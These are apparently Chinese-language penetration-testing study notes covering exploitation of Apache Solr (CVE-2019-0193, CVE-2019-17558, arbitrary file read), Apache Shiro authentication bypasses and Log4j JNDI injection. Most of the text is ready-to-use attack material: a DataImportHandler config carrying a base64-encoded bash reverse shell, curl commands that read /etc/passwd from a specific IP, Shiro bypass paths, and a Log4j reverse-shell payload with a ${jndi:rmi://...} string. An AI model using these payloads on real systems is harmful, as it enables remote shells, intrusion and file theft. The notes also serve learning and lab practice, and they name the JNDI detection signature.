solr组件
1、作用 : 基于http和apache lucene 进行全文搜索服务器
2、识别:


第一个就是图标类似于华为的那个
然后就是端口标识是 8983
3、CVE利用:
1、命令执行(CVE-2019-17558)
Apache Solr 5.0.0版本至8.3.1

工具:https://github.com/jas502n/solr_rce

2、远程代码执行(条件很苛刻)
CVE-2019-0193
Apache Solr < 8.2.0版本 (这个版本的话当然也是可以直接执行 上边的命令执行)
条件1:Apache Solr的DataImportHandler启用了模块DataImportHandler(默认不会被启用)
条件2:Solr Admin UI未开启鉴权认证。(默认情况无需任何认证)

UI鉴权就是我们不需要进行验证就能登录他的这个sorl后台 一般需要鉴权的如下
利用:
在点进 之后进入 debug模式输入
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
这个现在还是比较少见的了
3、sorl SSRF和任意文件的读取
利用:
http://xxxxxx:8983/solr/admin/cores?indexInfo=false&wt=json

利用
curl -i -s -k 'http://47.94.236.117:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
demo 是他的name

2、访问触发
curl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
$'http://47.94.236.117:8983/solr/demo/config'
3、任意文件读取
curl -i -s -k 'http://47.94.236.117:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
Shiro
他的功能就是我们登录的时候点击一个记住我 下次就不用登陆了 这个就是他的功能
识别:
请求头 有个remmberME=1
影响范围:Apache Shiro <= 1.2.4w
利用
1、反序列化造成的RCE



利用链:链就是 就是它已经加载的这个maven驱动或者是java自带的库
所以面试会问 有key无链怎么办? 1、爆破 2、就是利用java自带的库
授权绕过CVE-2020-11989
Apache Shiro < 1.7.1
本地部署 github上可以直接下载
https://github.com/jweny/shiro-cve-2020-17523


基本逻辑: 我们输入admin的时候会弹窗 就是因为他设置了一个 map authc

绕过:版本是在这个范围的
poc
/admin/%20
但是当我们把map删除之后也会失败 版本超也会失败 : 所以CVE的利用和程序设置和版本有很大的关系
3、CVE-2020-1957

利用:
/xxx/..;/admin/
4、CVE-2022-32532

exp:
/permit/a%0any
Log4j
黑盒下很难识别 最简单的方式就是盲打
一般我们攻击这个组件就是使用JNDI 进行注入
先构造一个base64加密的反弹shell
bash -i >& /dev/tcp/192.168.21.17/5566>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjE3LzU1NjY+JjE=
使用jndi工具进行生成一个反弹shell的注入
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxLjE3LzU1NjY+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.21.17

rmi:// 192.168.21.17:1099/zzmaai

靶场这里有个可控制的变量payload 把我们的exp进行url编码 :
${jndi:rmi://47.94.236.117:1099/osutj8}

执行成功
经过测试我们知道蓝队中jndi攻击的特征就是 ${jndi:} 这样的payload标识